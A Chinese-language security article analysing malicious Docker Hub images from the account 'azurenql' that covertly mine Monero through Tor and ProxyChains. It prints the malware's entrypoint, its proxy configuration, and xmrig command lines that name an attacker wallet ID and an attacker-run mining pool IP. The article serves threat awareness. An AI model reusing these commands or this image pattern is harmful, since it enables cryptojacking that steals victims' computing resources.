最近几年内,云和虚拟化架构越来越普及,用Docker容器打包软件应用程序的做法已经越来越流行。Docker Hub为用户和企业提供了基于社区的强大模型,方便Docker镜像的方式共享应用程序。当然,这种流行的方式也吸引了黑产攻击者,他们通过在Docker容器注入木马,进行劫持挖矿,并使用Docker Hub分发恶意镜像。本文我们就分享一个这样的案例,供大家参考并预防。
概述
案例中涉及的Docker Hub恶意账号名为azurenql,Palo Alto安全团队分析发现该帐户从2019年10月开始一直处于活动状态,并托管了六个用于包含挖掘Monero的恶意木马。镜像中的挖矿木马通过使用ProxyChains和Tor的网络匿名化工具来逃避网络检测。帐户上托管的镜像已经累积拉取超过200万次。这些镜像通过假冒Microsoft Docker Hub的 Azure有关的镜像。已经分析识别出相关的一个钱包ID已经赚取的门罗币超过525.38 XMR,大约相当于36,000美元。而且该ID还在活跃并被使用中。相关信息已经被反馈到Docker Hub的安全团队。希望能尽快删除恶意账号。
镜像和统计
恶意的Docker Hub用户名为azurenql,账号下的八个门罗币挖矿木马镜像如下:
这些恶意镜像的相关信息如下,其中第一个镜像已经被拉取了超147万次。
Docker镜像结构
为了了解如何构建镜像,分析了azurenql/227_135442的镜像结构。该镜像按以下步骤顺序构建:
使用Ubuntu 16.04.6 LTS作为"基础镜像"。
从源代码安装构建所需的依赖项,例如gcc,make,python等。
安装Tor以匿名化流量。并且其配置为监听其默认的9050端口:
/etc/tor/torrc
127.0.0.1:9050
下载ProxyChains-NG的源代码并从源代码构建。ProxyChains配置保留为默认设置,以通过本地Tor SOCKS代理连接路由其流量。
/usr/local/etc/proxychains.conf
[ProxyList]
# defaults set to "tor"
socks4 127.0.0.1 9050
下载挖矿软件XMRig的源代码,并从源代码进行构建。
下载自定义python脚本dao.py并将其设置为镜像的入口点。整个过程过程如下:
自定义脚本dao.py分析
镜像中包括一个名为dao.py的自定义Python恶意脚本,该脚本负责启动容器内的挖掘过程,并包含在所有镜像中。
如前所述,此脚本在镜像中注册为入口点,因此一旦启动镜像,脚本会自动运行。
"Entrypoint": [
"/bin/sh",
"-c",
"python /etc/dao.py"
],
所有Docker镜像都包含此dao.py脚本或者某变体。这些dao.py脚本之间的唯一区别是,使用了不同的XMRig命令行调用。dao.py脚本的高级执行流程:
找系统上的CPU内核数。
设置hugepages系统属性以提高哈希率。
安装Tor并建立依赖关系。
如果没有安装proxychains-ng,从github/rofl0r/proxychains-ng.git安装
如果/usr/local/bin中没有XMRig二进制文件,从github /nguyennhatduy2608/azures/raw/master/下载
在/usr/local/bin和/usr/bin下对XMRig二进制文件进行符号链接
在后台启动Tor。
通过代理链启动矿工,如前所述,矿工将通过本地Tor SOCKS代理路由矿工流量。
脚本的执行工作流程如下图所示:
挖矿基础设施
加密矿是要解决一个复杂的计算问题,使用户可以将交易块链接在一起。这些镜像利用注入的系统处理能力来验证交易。恶意木马使用两种方法通过在用户环境中运行这些恶意镜像来挖掘区块。
在第一种方法中,攻击者使用钱包ID将已开采的区块直接提交到中央minexmr池。
os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o
stratum+tcp://pool.minexmr.com:4444 -u
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2
Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')
通过在罗门币Monero矿池minexmrdotcom上查找该钱包ID的交易摘要时,发现最近的活动表明该钱包ID仍在使用。
下图6显示相关钱包在2020年4月和2020年5月的采矿活动。
下面的图7表明该钱包ID已赚取525.38 XMR,大约相当于36,000美元。
第二种方法是,恶意脚本将实例部署在运行自己的挖掘池的托管服务上,这些实例用于收集挖掘的块。
os.system ('proxychains4 ' + program + ' --donate-level 1 -o
stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores))
结论
Docker容器为打包软件提供了一种便捷的方式,这可以通过采用率的提高来证明。这与门罗币挖矿结合,使恶意参与者可以轻松地将其镜像分发到任何支持Docker的机器,并立即开始使用其计算资源进行加密劫持。而且最近发现一系列挖矿木马都挖的是门罗币,不知道是不是有巧合还是其他原因值得更进一步分析。